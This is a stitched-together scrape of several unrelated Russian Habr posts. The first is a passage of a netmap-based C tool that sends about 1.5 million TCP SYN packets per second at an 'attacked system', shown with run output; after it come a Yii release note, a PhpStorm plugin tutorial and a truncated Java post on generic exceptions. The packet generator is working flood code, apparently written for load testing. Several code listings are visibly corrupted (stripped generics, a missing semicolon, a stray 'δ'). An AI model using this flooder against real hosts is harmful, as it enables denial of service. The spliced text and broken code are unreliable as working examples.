if (!sdl || sdl->sdl\_family != AF\_LINK)
continue;
if (strncmp(ifap->ifa\_name, ifname, l) != 0)
continue;
mac = (uint8\_t\*)LLADDR(sdl);
sprintf(buf, "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], mac[2],
mac[3], mac[4], mac[5]);
break;
}
freeifaddrs(ifaphead);
return ifap ? 0 : 1;
}
/\* set the thread affinity. \*/
static int setaffinity(pthread\_t me, int i) {
cpuset\_t cpumask;
if (i == -1)
return 0;
/\* Set thread affinity affinity. \*/
CPU\_ZERO(&cpumask);
CPU\_SET(i, &cpumask);
if (pthread\_setaffinity\_np(me, sizeof(cpuset\_t), &cpumask) != 0) {
D("Unable to set affinity");
return 1;
}
return 0;
}
/\* Compute the checksum of the given ip header. \*/
static uint16\_t checksum(const void \*data, uint16\_t len) {
const uint8\_t \*addr = data;
uint32\_t sum = 0;
while (len > 1) {
sum += addr[0] \* 256 + addr[1];
addr += 2;
len -= 2;
}
if (len == 1)
sum += \*addr \* 256;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
sum = htons(sum);
return ~sum;
}
/\*
\* Fill a packet with some payload.
\*/
static void initialize\_packet(struct targ \*targ) {
struct pkt \*pkt = &targ->pkt;
struct ether\_header \*eh;
struct ip \*ip;
struct tcphdr \*tcp;
// uint16\_t paylen = targ->g->pkt\_size - sizeof(\*eh) - sizeof(\*ip);
uint16\_t paylen = targ->g->pkt\_size -sizeof(\*eh)-sizeof(\*ip);
int i, l, l0 = strlen(default\_payload);
char \*p;
for (i = 0; i < paylen;) {
l = min(l0, paylen - i);
bcopy(default\_payload, pkt->body + i, l);
i += l;
}
pkt->body[i - 1] = '\0';
tcp = &pkt->tcp;
tcp->th\_sport = htons(14000); // Contains the source port.
tcp->th\_dport = htons(80); // Contains the destination port.
tcp->th\_seq = ntohl(rand()); // Contains the sequence number.
tcp->th\_ack = rand(); // Contains the acknowledgement number.
tcp->th\_x2 = 0; // Unused.
tcp->th\_off = 5; // Contains the data offset.
tcp->th\_flags = TH\_SYN; // Contains one of the following values:
/\*
Flag Value Description
TH\_FIN 0x01 Indicates that the transmission is finishing.
TH\_SYN 0x02 Indicates that sequence numbers are being synchronized.
TH\_RST 0x04 Indicates that the connection is being reset.
TH\_PUSH 0x08 Indicataes that data is being pushed to the application level.
TH\_ACK 0x10 Indicates that the acknowledge field is valid.
TH\_URG 0x20 Indicates that urgent data is present.
\*/
tcp->th\_win = htons(512); // Contains the window size.
// tcp->th\_sum = 0; // Contains the checksum.
tcp->th\_urp = 0; // Contains the urgent pointer.
ip = &pkt->ip;
ip->ip\_v = 4;
ip->ip\_hl = 5;
ip->ip\_id = 0;
ip->ip\_tos = IPTOS\_LOWDELAY;
ip->ip\_len = ntohs(sizeof(struct ip)+sizeof(struct tcphdr));
ip->ip\_off = htons(IP\_DF); /\* Don't fragment \*/
ip->ip\_ttl = IPDEFTTL;
// ip->ip\_ttl = 255;
ip->ip\_p = IPPROTO\_TCP;
inet\_aton(targ->g->src\_ip, (struct in\_addr \*)&ip->ip\_src);
inet\_aton(targ->g->dst\_ip, (struct in\_addr \*)&ip->ip\_dst);
targ->dst\_ip = ip->ip\_dst.s\_addr;
targ->src\_ip = ip->ip\_src.s\_addr;
p = index(targ->g->src\_ip, '-');
if (p) {
targ->dst\_ip\_range = atoi(p + 1);
D("dst-ip sweep %d addresses", targ->dst\_ip\_range);
}
ip->ip\_sum = checksum(ip, sizeof(\*ip));
tcp->th\_sum = tcp\_csum(ip, tcp);
eh = &pkt->eh;
bcopy(ether\_aton(targ->g->src\_mac), targ->src\_mac, 6);
bcopy(targ->src\_mac, eh->ether\_shost, 6);
p = index(targ->g->src\_mac, '-');
if (p)
targ->src\_mac\_range = atoi(p + 1);
bcopy(ether\_aton(targ->g->dst\_mac), targ->dst\_mac, 6);
bcopy(targ->dst\_mac, eh->ether\_dhost, 6);
p = index(targ->g->dst\_mac, '-');
if (p)
targ->dst\_mac\_range = atoi(p + 1);
eh->ether\_type = htons(ETHERTYPE\_IP);
}
/\*
\* create and enqueue a batch of packets on a ring.
\* On the last one set NS\_REPORT to tell the driver to generate
\* an interrupt when done.
\*/
static int send\_packets(struct netmap\_ring \*ring, struct pkt \*pkt, int size,
u\_int count) {
u\_int sent, cur = ring->cur;
if (ring->avail < count)
count = ring->avail;
for (sent = 0; sent < count; sent++) {
struct netmap\_slot \*slot = &ring->slot[cur];
char \*p = NETMAP\_BUF(ring, slot->buf\_idx);
pkt\_copy(pkt, p, size);
slot->len = size;
if (sent == count - 1)
slot->flags |= NS\_REPORT;
cur = NETMAP\_RING\_NEXT(ring, cur);
}
ring->avail -= sent;
ring->cur = cur;
return (sent);
}
static void \* sender\_body(void \*data) {
struct targ \*targ = (struct targ\*) data;
struct pollfd fds[1];
struct netmap\_if \*nifp = targ->nifp;
struct netmap\_ring \*txring;
int i, sent = 0;
D("start");
if (setaffinity(targ->thread, targ->affinity))
goto quit;
/\* setup poll(2) mechanism. \*/
memset(fds, 0, sizeof(fds));
fds[0].fd = targ->fd;
fds[0].events = (POLLOUT);
/\* main loop. \*/
gettimeofday(&targ->tic, NULL); {
while (1) {
/\*
\* wait for available room in the send queue(s)
\*/
if (poll(fds, 1, 2000) <= 0) {
D("poll error/timeout on queue %d\n", targ->me);
goto quit;
}
/\*
\* scan our queues and send on those with room
\*/
for (i = targ->qfirst; i < targ->qlast; i++) {
// int m, limit = targ->g->burst;
int m, limit = 512;
txring = NETMAP\_TXRING(nifp, i);
if (txring->avail == 0)
continue;
m = send\_packets(txring, &targ->pkt, targ->g->pkt\_size, limit);
sent += m;
targ->count = sent;
}
}
/\* flush any remaining packets \*/
ioctl(fds[0].fd, NIOCTXSYNC, NULL);
/\* final part: wait all the TX queues to be empty. \*/
for (i = targ->qfirst; i < targ->qlast; i++) {
txring = NETMAP\_TXRING(nifp, i);
while (!NETMAP\_TX\_RING\_EMPTY(txring)) {
ioctl(fds[0].fd, NIOCTXSYNC, NULL);
usleep(1); /\* wait 1 tick \*/
}
}
}
gettimeofday(&targ->toc, NULL);
targ->completed = 1;
targ->count = sent;
quit:
/\* reset the ``used`` flag. \*/
targ->used = 0;
return (NULL);
}
static void usage(void) {
const char \*cmd = "pkt-gen";
fprintf(stderr,
"Usage:\n" "%s arguments\n" "\t-i interface interface name\n"
"\t-l pkts\_size in bytes excluding CRC\n" "\t-d dst-ip end with %%n to sweep n addresses\n"
"\t-s src-ip end with %%n to sweep n addresses\n" "\t-D dst-mac end with %%n to sweep n addresses\n"
"\t-S src-mac end with %%n to sweep n addresses\n" "", cmd);
exit(0);
}
int main(int arc, char \*\*argv) {
int i, fd;
struct glob\_arg g;
struct nmreq nmr;
void \*mmap\_addr; /\* the mmap address \*/
void \*(\*td\_body)(void \*) = sender\_body;
int ch;
int report\_interval = 1000; /\* report interval \*/
char \*ifname = NULL;
// int wait\_link = 2;
int devqueues = 1; /\* how many device queues \*/
/\* initialize random seed: \*/
srand(time(NULL));
bzero(&g, sizeof(g));
g.src\_ip = "10.0.0.1";
g.dst\_ip = "10.0.0.2";
g.dst\_mac = "ff:ff:ff:ff:ff:ff";
// g.dst\_mac = NULL;
g.src\_mac = NULL;
g.pkt\_size = 60;
g.burst = 512; // default
g.nthreads = 2; // работаем в 2 потока
// g.cpus = 1;
g.cpus = system\_ncpus(); // задействуем все доступные процессоры
while ((ch = getopt(arc, argv, "i:l:d:s:D:S:v")) != -1) {
switch (ch) {
default:
D("bad option %c %s", ch, optarg);
usage();
break;
case 'i': /\* interface \*/
ifname = optarg;
break;
case 'l': /\* pkt\_size \*/
g.pkt\_size = atoi(optarg);
break;
case 'd':
g.dst\_ip = optarg;
break;
case 's':
g.src\_ip = optarg;
break;
case 'D': /\* destination mac \*/
g.dst\_mac = optarg;
struct ether\_addr \*mac = ether\_aton(g.dst\_mac);
D("ether\_aton(%s) gives %p", g.dst\_mac, mac);
break;
case 'S': /\* source mac \*/
g.src\_mac = optarg;
break;
}
}
if (ifname == NULL) {
D("missing ifname");
usage();
} {
int n = system\_ncpus();
if (g.cpus < 0 || g.cpus > n) {
D("%d cpus is too high, have only %d cpus", g.cpus, n);
usage();
}
if (g.cpus == 0)
g.cpus = n;
}
if (g.pkt\_size < 16 || g.pkt\_size > 1536) {
D("bad pktsize %d\n", g.pkt\_size);
usage();
}
if (td\_body == sender\_body && g.src\_mac == NULL) {
static char mybuf[20] = "ff:ff:ff:ff:ff:ff";
/\* retrieve source mac address. \*/
if (source\_hwaddr(ifname, mybuf) == -1) {
D("Unable to retrieve source mac");
// continue, fail later
}
g.src\_mac = mybuf;
}
{
bzero(&nmr, sizeof(nmr));
nmr.nr\_version = NETMAP\_API;
/\*
\* Open the netmap device to fetch the number of queues of our
\* interface.
\*
\* The first NIOCREGIF also detaches the card from the
\* protocol stack and may cause a reset of the card,
\* which in turn may take some time for the PHY to
\* reconfigure.
\*/
fd = open("/dev/netmap", O\_RDWR);
if (fd == -1) {
D("Unable to open /dev/netmap");
// fail later
}
else {
if ((ioctl(fd, NIOCGINFO, &nmr)) == -1) {
D("Unable to get if info without name");
}
else {
D("map size is %d Kb", nmr.nr\_memsize >> 10);
}
bzero(&nmr, sizeof(nmr));
nmr.nr\_version = NETMAP\_API;
strncpy(nmr.nr\_name, ifname, sizeof(nmr.nr\_name));
if ((ioctl(fd, NIOCGINFO, &nmr)) == -1) {
D("Unable to get if info for %s", ifname);
}
devqueues = nmr.nr\_rx\_rings;
}
/\* validate provided nthreads. \*/
if (g.nthreads < 1 || g.nthreads > devqueues) {
D("bad nthreads %d, have %d queues", g.nthreads, devqueues);
// continue, fail later
}
/\*
\* Map the netmap shared memory: instead of issuing mmap()
\* inside the body of the threads, we prefer to keep this
\* operation here to simplify the thread logic.
\*/
D("mmapping %d Kbytes", nmr.nr\_memsize >> 10);
mmap\_addr = (struct netmap\_d\*) mmap(0, nmr.nr\_memsize,
PROT\_WRITE | PROT\_READ, MAP\_SHARED, fd, 0);
if (mmap\_addr == MAP\_FAILED) {
D("Unable to mmap %d KB", nmr.nr\_memsize >> 10);
// continue, fail later
}
/\*
\* Register the interface on the netmap device: from now on,
\* we can operate on the network interface without any
\* interference from the legacy network stack.
\*
\* We decide to put the first interface registration here to
\* give time to cards that take a long time to reset the PHY.
\*/
nmr.nr\_version = NETMAP\_API;
if (ioctl(fd, NIOCREGIF, &nmr) == -1) {
D("Unable to register interface %s", ifname);
// continue, fail later
}
/\* Print some debug information. \*/
fprintf(stdout, "%s %s: %d queues, %d threads and %d cpus.\n",
(td\_body == sender\_body) ? "Sending on" : "Receiving from", ifname,
devqueues, g.nthreads, g.cpus);
if (td\_body == sender\_body) {
fprintf(stdout, "%s -> %s (%s -> %s)\n", g.src\_ip, g.dst\_ip,
g.src\_mac, g.dst\_mac);
}
/\* Exit if something went wrong. \*/
if (fd < 0) {
D("Aborting");
usage();
}
}
// "Wait 3 secs for phy reset"
// sleep(wait\_link);
sleep(3);
D("Ready...");
/\* Install ^C handler. \*/
global\_nthreads = g.nthreads;
signal(SIGINT, sigint\_h);
targs = calloc(g.nthreads, sizeof(\*targs));
/\*
\* Now create the desired number of threads, each one
\* using a single descriptor.
\*/
for (i = 0; i < g.nthreads; i++) {
struct netmap\_if \*tnifp;
struct nmreq tifreq;
int tfd;
/\* register interface. \*/
tfd = open("/dev/netmap", O\_RDWR);
if (tfd == -1) {
D("Unable to open /dev/netmap");
continue;
}
bzero(&tifreq, sizeof(tifreq));
strncpy(tifreq.nr\_name, ifname, sizeof(tifreq.nr\_name));
tifreq.nr\_version = NETMAP\_API;
tifreq.nr\_ringid = (g.nthreads > 1) ? (i | NETMAP\_HW\_RING) : 0;
if ((ioctl(tfd, NIOCREGIF, &tifreq)) == -1) {
D("Unable to register %s", ifname);
continue;
}
tnifp = NETMAP\_IF(mmap\_addr, tifreq.nr\_offset);
/\* start threads. \*/
bzero(&targs[i], sizeof(targs[i]));
targs[i].g = &g
targs[i].used = 1;
targs[i].completed = 0;
targs[i].fd = tfd;
targs[i].nmr = tifreq;
targs[i].nifp = tnifp;
targs[i].qfirst = (g.nthreads > 1) ? i : 0;
targs[i].qlast = (g.nthreads > 1) ? i + 1 : tifreq.nr\_tx\_rings;
targs[i].me = i;
targs[i].affinity = g.cpus ? i % g.cpus : -1;
if (td\_body == sender\_body) {
/\* initialize the packet to send. \*/
initialize\_packet(&targs[i]);
}
if (pthread\_create(&targs[i].thread, NULL, td\_body, &targs[i]) == -1) {
D("Unable to create thread %d", i);
targs[i].used = 0;
}
}
{
uint64\_t my\_count = 0, prev = 0;
uint64\_t count = 0;
struct timeval tic, toc;
gettimeofday(&toc, NULL);
for (; ;) {
struct timeval now, delta;
uint64\_t pps;
int done = 0;
delta.tv\_sec = report\_interval / 1000;
delta.tv\_usec = (report\_interval % 1000) \* 1000;
select(0, NULL, NULL, NULL, δ);
gettimeofday(&now, NULL);
timersub(&now, &toc, &toc);
my\_count = 0;
for (i = 0; i < g.nthreads; i++) {
my\_count += targs[i].count;
if (targs[i].used == 0)
done++;
}
pps = toc.tv\_sec \* 1000000 + toc.tv\_usec;
if (pps < 10000)
continue;
pps = (my\_count - prev) \* 1000000 / pps;
D("%" PRIu64 " pps", pps);
prev = my\_count;
toc = now;
if (done == g.nthreads)
break;
}
timerclear(&tic);
timerclear(&toc);
for (i = 0; i < g.nthreads; i++) {
/\*
\* Join active threads, unregister interfaces and close
\* file descriptors.
\*/
pthread\_join(targs[i].thread, NULL);
ioctl(targs[i].fd, NIOCUNREGIF, &targs[i].nmr);
close(targs[i].fd);
if (targs[i].completed == 0)
continue;
/\*
\* Collect threads output and extract information about
\* how long it took to send all the packets.
\*/
count += targs[i].count;
if (!timerisset(&tic) || timercmp(&targs[i].tic, &tic, <))
tic = targs[i].tic;
if (!timerisset(&toc) || timercmp(&targs[i].toc, &toc, >))
toc = targs[i].toc;
}
}
ioctl(fd, NIOCUNREGIF, &nmr);
munmap(mmap\_addr, nmr.nr\_memsize);
close(fd);
return (0);
}
/\* end of file \*/
```
Компилируем, запускаем.
```
# ./tcp-gen -i igb0 -d 10.0.0.2 -D 00:1b:21:a3:5f:fc -s 10.0.0.1 -l 60
main [543] ether_aton(00:1b:21:a3:5f:fc) gives 0x800fac8d2
main [600] map size is 207712 Kb
main [622] mmapping 207712 Kbytes
Sending on igb0: 2 queues, 2 threads and 2 cpus.
10.0.0.1 -> 10.0.0.2 (a0:36:9f:06:81:d6 -> 00:1b:21:a3:5f:fc)
main [663] Ready...
sender_body [422] start
sender_body [422] start
main [746] 1003502 pps
main [746] 1488140 pps
main [746] 1488132 pps
main [746] 1488135 pps
main [746] 1488136 pps
main [746] 1488137 pps
main [746] 1488141 pps
main [746] 1488132 pps
main [746] 1488134 pps
main [746] 1488134 pps
^Csigint_h [215] Cancelling thread #0
sigint_h [215] Cancelling thread #1
main [746] 1296740 pps
```
Утилита отчитывается о без малого 1,5mpps. Нагрузка составляет:
```
last pid: 1789; load averages: 1.17, 0.43, 0.95 up 0+01:23:20 12:55:27
108 processes: 5 running, 77 sleeping, 26 waiting
CPU 0: 5.9% user, 0.0% nice, 90.9% system, 3.1% interrupt, 0.0% idle
CPU 1: 0.0% user, 0.0% nice, 95.3% system, 4.7% interrupt, 0.0% idle
Mem: 18M Active, 14M Inact, 313M Wired, 14M Buf, 3545M Free
Swap: 2572M Total, 2572M Free
PID USERNAME PRI NICE SIZE RES STATE C TIME CPU COMMAND
1765 root 102 0 217M 6040K RUN 1 0:53 99.46% pkt-gen{pkt-gen}
1765 root 102 0 217M 6040K CPU0 0 0:53 99.37% pkt-gen{pkt-gen}
12 root -92 - 0K 416K WAIT 0 0:14 2.29% intr{irq256: igb0:que}
12 root -92 - 0K 416K WAIT 1 0:43 1.86% intr{irq257: igb0:que}
11 root 155 ki31 0K 32K RUN 0 74:15 0.00% idle{idle: cpu0}
11 root 155 ki31 0K 32K RUN 1 74:04 0.00% idle{idle: cpu1}
```
Смотрим прилетающие пакеты:
```
tcpdump -i em1 -n -vvv
13:14:44.814897 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
10.0.0.1.14000 > 10.0.0.2.80: Flags [S], cksum 0x4ae2 (correct), seq 1103125611, win 512
```
Замерять производительность на генерируемой машине не представляется возможным. Атакуемая система в свою очередь отчитывается лишь о 700kpps, но есть подозрение что она просто не в состоянии обработать трафик, потому ставим промежуточный коммутатор и смотрим, кто-же врёт:
Как видно на коммутаторе генератор действительно «произвёл» почти полтора миллиона пакетов. Тем самым полученный трафик в 3 раза перекрывает поставленную задачу, за что выказываю огромную благодарность г-ну Luigi Rizzo.
При работе обнаружился один недостаток — при запуске netmap отключает карту от сетевого стека переводя в специальный netmap-режим. Иногда адаптер не выходит из этого режима. Для этого приходится делать ему down/up. Отмечу, что данная проблема возникала только на картах igb (тестировались также em и re). Возможно, это проблема лишь данной карты/партии.
Ссылки:
Сайт фрэймворка — [info.iet.unipi.it/~luigi/netmap](http://info.iet.unipi.it/~luigi/netmap/)
GoogleTechTalks video on netmap — [www.youtube.com/watch?v=SPtoXNW9yEQ](http://www.youtube.com/watch?v=SPtoXNW9yEQ) | https://habr.com/ru/post/183692/ | null | ru | null |
# Yii 1.1.10
Вышел релиз 1.1.10 PHP фреймворка Yii. В данной версии, в основном, исправлены ошибки в `CActiveForm`, `CJuiDatePicker` и невозможность запуска с `yiilite.php`.
* [Полный список изменений](http://www.yiiframework.com/files/CHANGELOG-1.1.10.txt)
* [Обновляемся](http://www.yiiframework.com/download/) | https://habr.com/ru/post/138084/ | null | ru | null |
# Создание плагина разрешения ссылок для PhpStorm (IntelliJ IDEA)
Я работаю веб-программистом, пишу на PHP и использую фреймворк Kohana. Для разработки использую потрясающую, на мой взгляд, среду PhpStorm.
При работе с большими и не очень проектами меня всегда угнетало, что я много времени трачу на навигацию по проекту, на поиск того или иного файла (контроллера или шаблона) в дереве проекта. Ctrl+Shift+N, к сожалению, удобен далеко не всегда.
Для начала мне захотелось сделать так, чтобы можно было переходить из файла контроллера по нажатию Ctrl+B (или Ctrl+Click) над именем шаблона, передаваемого в кохановский View::factory(), непосредственно в файл шаблона:
Поэтому я решил написать небольшой плагин для PhpStorm, который облегчил бы мою работу и освободил бы от некоторой части рутины.
#### Подготовка окружения
Нам потребуются:
— [IntelliJ IDEA](http://www.jetbrains.com/idea/download/) Community Edition или Ultimate.
— [JDK](http://www.oracle.com/technetwork/java/javase/downloads/jdk7u9-downloads-1859576.html) ( необходимо скачать версию, с которой собран PhpStorm, иначе плагин не запустится, в моем случае это была Java 1.6);
Поскольку [документация по созданию плагинов](http://confluence.jetbrains.net/display/IDEADEV/PluginDevelopment) IDEA очень скудна, рекомендуется также обзавестись копией [исходных кодов Intellij IDEA](http://www.jetbrains.org/display/IJOS/Download), и использовать ее в качестве наглядной документации :)
##### Настройка инструментов:
Необходимо настроить Java SDK и IntelliJ IDEA Plugin SDK:
— запускаем IntelliJ IDEA
— открываем пункт меню File | Project Structure
— выбираем вкладку SDKs, жмем на плюсик и выбираем путь к JDK
— выбираем вкладку Project
— нажимаем на new, далее IntelliJ IDEA Plugin SDK и в открывшемся меню — выбираем путь к PhpStorm (можно и к IntelliJ IDEA, но тогда мы не сможем отлаживать плагин в PhpStorm)
Также необходимо создать Run/Debug Configuration, чтобы можно было отлаживать плагин в PhpStorm.
##### Создадим проект
File | new project: Выбираем «Create from scratch», Вводим имя, выбираем тип Plugin Module, выбираем SDK, который мы настроили ранее, создаем проект.
Добавляем пафосные копирайты в файл plugin.xml (без этого никак!)
```
KohanaStorm
KohanaStorm framework integration for PhpStorm
Authors: zenden2k@gmail.com
0.1
zenden.ws
```
Чтобы наш плагин запускался не только под IDEA, но и в PhpStorm, добавим в plugin.xml следующую зависимость:
```
com.intellij.modules.platform
```
#### Основы
Для каждого файла IntelliJ IDEA строит дерево PSI.
PSI (Program Structure Interface) — это структура, представляющая содержимое файла как иерархию элементов определенного языка программирования. PsiFile является общим родительским классом для всех PSI файлов, а конкретные языки программирования представлены в виде классов, унаследованных от PsiFile. Например, класс PsiJavaFile представляет файл java, класс XmlFile представляет XML файл. Дерево PSI можно посмотреть, используя инструмент PSI Viewer (Tools -> View PSI Structure):
#### Разработка плагина
Итак, мне захотелось, чтобы можно было переходить из файла контроллера по Ctrl+B (или Ctrl+Click) по View::factory('имя\_шаблона') непосредственно в файл шаблона.
#### Как реализовать задуманное?
Для разрешения ссылок нам нужно создать 3 класса, унаследованных от:
**PsiReference** — объект, реализующий этот интерфейс, представляет собой ссылку. Он содержит в себе данные о местонахождении в родительском элементе (положение в тексте) и данные (текст ссылки), позволяющие в дальнейшем «разрешить ссылку». Ссылка должна уметь сама себя разрешать, т.е. ее метод resolve() должен уметь найти элемент, на который она указывает.
**PsiReferenceProvider** — класс, который находит ссылки внутри одного элемента PSI дерева. Он возвращает массив объектов PsiReference.
**PsiReferenceContributor** — класс, который будет регистрировать наш PsiReferenceProvider как обработчик PSI элементов.
###### 1. Создаем класс ссылки MyReference, реализующий интерфейс PsiReference, и в нем переопределить следующие методы
```
public class MyReference implements PsiReference {
@Override
public String toString() {
}
public PsiElement getElement() {
}
public TextRange getRangeInElement() {
return textRange;
}
public PsiElement handleElementRename(String newElementName)
}
public PsiElement bindToElement(PsiElement element) throws IncorrectOperationException {
}
public boolean isReferenceTo(PsiElement element) {
return resolve() == element;
}
public Object[] getVariants() {
return new Object[0];
}
public boolean isSoft() {
return false;
}
@Nullable
public PsiElement resolve() {
}
@Override
public String getCanonicalText() {
}
}
```
В этом классе самое большое значение имеет метод resolve(). В нем мы должны вернуть те элементы, на которые указывает наша ссылка. В нашем случае мы возвращаем ссылку на php-файл, но в общем случае это может быть любой элемент psi- дерева или языковой модели, лежащей над ним, например класс, метод, переменная и т.д.
###### 2. Создаем класс, унаследованный от **PsiReferenceProvider** и переопределить метод **getReferencesByElement**:
```
public class MyPsiReferenceProvider extends PsiReferenceProvider {
@Override
public PsiReference[] getReferencesByElement(@NotNull PsiElement element, @NotNull final ProcessingContext context) {
}
}
```
Метод **getReferencesByElement** должен возвратить список ссылок (**PsiReference**), которые содержатся в переданном ему элементу **PsiElement**. В нашем случае возвращается только одна ссылка, но в общем случае их может быть несколько, при этом каждая ссылка должна будет содержать соответствующий textRange (начальный индекс и конечный индекс нахождения ссылки внутри текста psi-элемента)
Основной проблемой при разработке этого метода стало то, что JetBrains не открыла плагинам доступа к языковому API (в нашем случае PHP). Но тут на помощь пришел Reflection. Что мы знаем об объекте element? То, что он должен быть экземпляром класса StringLiteralExpressionImpl.
```
public PsiReference[] getReferencesByElement(@NotNull PsiElement element, @NotNull final ProcessingContext context) {
Project project = element.getProject();
PropertiesComponent properties = PropertiesComponent.getInstance(project);
String kohanaAppDir = properties.getValue("kohanaAppPath", "application/");
VirtualFile appDir = project.getBaseDir().findFileByRelativePath(kohanaAppDir);
if (appDir == null) {
return PsiReference.EMPTY_ARRAY;
}
String className = element.getClass().getName();
Class elementClass = element.getClass();
// определяем, что объект является экземпляром StringLiteralExpressionImpl
if (className.endsWith("StringLiteralExpressionImpl")) {
try {
// Вызываем метод getValueRange, чтобы получить символьный диапазон, в котором находится наша ссылка
Method method = elementClass.getMethod("getValueRange");
Object obj = method.invoke(element);
TextRange textRange = (TextRange) obj;
Class _PhpPsiElement = elementClass.getSuperclass().getSuperclass().getSuperclass();
// Вызываем метод getText, чтобы получить значение PHP-строки
Method phpPsiElementGetText = _PhpPsiElement.getMethod("getText");
Object obj2 = phpPsiElementGetText.invoke(element);
String str = obj2.toString();
String uri = str.substring(textRange.getStartOffset(), textRange.getEndOffset());
int start = textRange.getStartOffset();
int len = textRange.getLength();
// Проверяем, подходит ли нам данная PHP-строка (путь к шаблону) или нет
if (uri.endsWith(".tpl") || uri.startsWith("smarty:") || isViewFactoryCall(element)) {
PsiReference ref = new MyReference(uri, element, new TextRange(start, start + len), project, appDir);
return new PsiReference[]{ref};
}
} catch (Exception e) {
}
}
return PsiReference.EMPTY_ARRAY;
}
```
Чтобы определить, что нам попался не просто PHP-литерал, а строка, переданная именно в View::factory(), снова воспользуемся магией рефлекшн:
```
public static boolean isViewFactoryCall(PsiElement element) {
PsiElement prevEl = element.getParent();
String elClassName;
if (prevEl != null) {
elClassName = prevEl.getClass().getName();
}
prevEl = prevEl.getParent();
if (prevEl != null) {
elClassName = prevEl.getClass().getName();
if (elClassName.endsWith("MethodReferenceImpl")) {
try {
Method phpPsiElementGetName = prevEl.getClass().getMethod("getName");
String name = (String) phpPsiElementGetName.invoke(prevEl);
if (name.toLowerCase().equals("factory")) {
Method getClassReference = prevEl.getClass().getMethod("getClassReference");
Object classRef = getClassReference.invoke(prevEl);
PrintElementClassDescription(classRef);
String phpClassName = (String) phpPsiElementGetName.invoke(classRef);
if (phpClassName.toLowerCase().equals("view")) {
return true;
}
}
} catch (Exception ex) {
}
}
}
return false;
}
```
Чтобы было понятнее, с чем мы имеем дело, картинка:
Данный код определяет, что наш элемент действительно вложен в вызов метода (MethodReference), который называется «factory» и находится в классе «view».
###### 3. Создать класс, унаследованный от **PsiReferenceContributor** и переопределить следующий метод:
```
@Override
public void registerReferenceProviders(PsiReferenceRegistrar registrar) {
registrar.registerReferenceProvider(StandardPatterns.instanceOf(PsiElement.class), provider);
}
```
Всё, что делает наш класс — регистрирует наш PsiReferenceProvider в неком реестре, и задает шаблон, к какому типу (подклассу) PsiElement его надо применять. Если бы нужный нам элемент документа был, скажем, значением XML-атрибута, всё было бы проще:
```
registrar.registerReferenceProvider(StandardPatterns.instanceOf(XmlAttributeValue.class), provider);
```
Но поскольку JetBrains не открыла доступа к языковому API (в нашем случае PHP), нам приходится подписываться на абсолютно все элементы PsiElement, чтобы затем динамически определить, нужный нам это элемент или нет.
###### 4. Зарегистрировать Contributor в файле plugin.xml:
```
```
#### Создаем страницу настроек
В phpstorm настройки бывают двух типов — относящиеся к проекту и глобальные. Чтобы создать страницу настроек для нашего плагина, создадим класс KohanaStormSettingsPage, реализующий интерфейс Configurable. Метод getDisplayName должен возвращать название таба, которое будет отображаться в списке настроек PhpStorm. Метод createComponent должен возвращать нашу форму. В методе apply мы должны сохранить все настройки.
```
public class KohanaStormSettingsPage implements Configurable {
private JTextField appPathTextField;
private JCheckBox enableKohanaStorm;
private JTextField secretKeyTextField;
Project project;
public KohanaStormSettingsPage(Project project) {
this.project = project;
}
@Nls
@Override
public String getDisplayName() {
return "KohanaStorm";
}
@Override
public JComponent createComponent() {
JPanel panel = new JPanel();
panel.setLayout(new BoxLayout
(panel, BoxLayout.Y_AXIS));
JPanel panel1 = new JPanel();
panel1.setLayout(new BoxLayout(panel1, BoxLayout.X_AXIS));
enableKohanaStorm = new JCheckBox("Enable Kohana Storm for this project");
...
PropertiesComponent properties = PropertiesComponent.getInstance(project);
appPathTextField.setText(properties.getValue("kohanaAppPath", DefaultSettings.kohanaAppPath));
return panel;
}
@Override
public void apply() throws ConfigurationException {
PropertiesComponent properties = PropertiesComponent.getInstance(project);
properties.setValue("kohanaAppPath", appPathTextField.getText());
properties.setValue("enableKohanaStorm", String.valueOf(enableKohanaStorm.isSelected()) );
properties.setValue("kohanaStormSecretKey", secretKeyTextField.getText());
}
@Override
public boolean isModified() {
return true;
}
@Override
public String getHelpTopic() {
return null;
}
@Override
public void disposeUIResources() {
}
@Override
public void reset() {
}
}
```
Зарегистрируем нашу страницу настроек в файле plugin.xml:
```
```
(если бы мы наша страница настроек была глобальной, мы бы использовали applicationConfigurable)
##### Хранение настроек
Наименее замороченный способ хранения настроек для плагина — использование класса PropertiesComponent и методов setValue и getValue. [Более сложный способ](http://confluence.jetbrains.net/display/IDEADEV/Persisting+State+of+Components) описан в документации.
##### Установка плагина
После того, как разработка плагина будет завершена, необходимо выполнить
Build -> Prepare plugin for deployment. После этого в папке проекта появится файл с именем jar, который можно будет распространять.
Установить в phpstorm его можно выполнив (File->Settings->Plugins->Install From Disk)
[Скачать плагин и исходные коды](http://image-uploader.googlecode.com/files/KohanaStorm_1.zip) | https://habr.com/ru/post/161877/ | null | ru | null |
# Generic исключения в лямбда-функциях
**UPD:** Добавлен пример с ленивыми вычислениями поверх стандартных стримов.
Как известно из функциональных интерфейсов в Stream API нельзя выбрасывать контролируемые исключения. Если по каким-то причинам это необходимо (например, работа с файлами, базами данных или по сети), приходится оборачивать их в RuntimeException. Это неплохо работает если ошибки игнорируются, но если их необходимо обрабатывать, то код получается громоздкий и трудночитаемый. Я заинтересовался можно ли объявлять интерфейсы и методы с generic исключениями и неожиданно для себя узнал, что можно.
Зададим такой функциональный интерфейс, от стандартного интерфейса Function он отличается только наличием третьего generic-типа для бросаемого исключения.
```
public interface FunctionWithExceptions{
B apply(A a) throws T;
}
```
И объявим простенький метод, который преобразует коллекцию используя этот интерфейс, у этого метода также объявлен generic-тип для бросаемого исключения (совпадающий с типом исключения которое может выбросить функциональный интерфейс).
```
public static Collection **map(Collectionsource, FunctionWithExceptions function) throws T {
Collection **result = new ArrayList<>();
for (A a : source) {
result.add(function.apply(a));
}
return result;
}****
```
Посмотрим, как будет выглядит обработка исключений с ними в разных случаях.
#### Одно исключение
Попробуем преобразовать коллекцию используя лямбда функцию выбрасывающую обрабатываемое исключение, за счет generic-типа оно будет корректно передано в место вызова метода map. При этом тип исключения будет сохранён.
```
public Collection singleException(Collection filenames) throws IOException
{
return map(filenames, f -> Files.readAllBytes(new File(f).toPath());
}
```
#### Два исключения в одной лямбда-функции
Если мы используем функцию, выбрасывающую несколько обрабатываемых исключений, то они будет приведены к наиболее общему типу, что не очень хорошо (но, по-моему, не хуже завертывания исключений в RuntimeException).
```
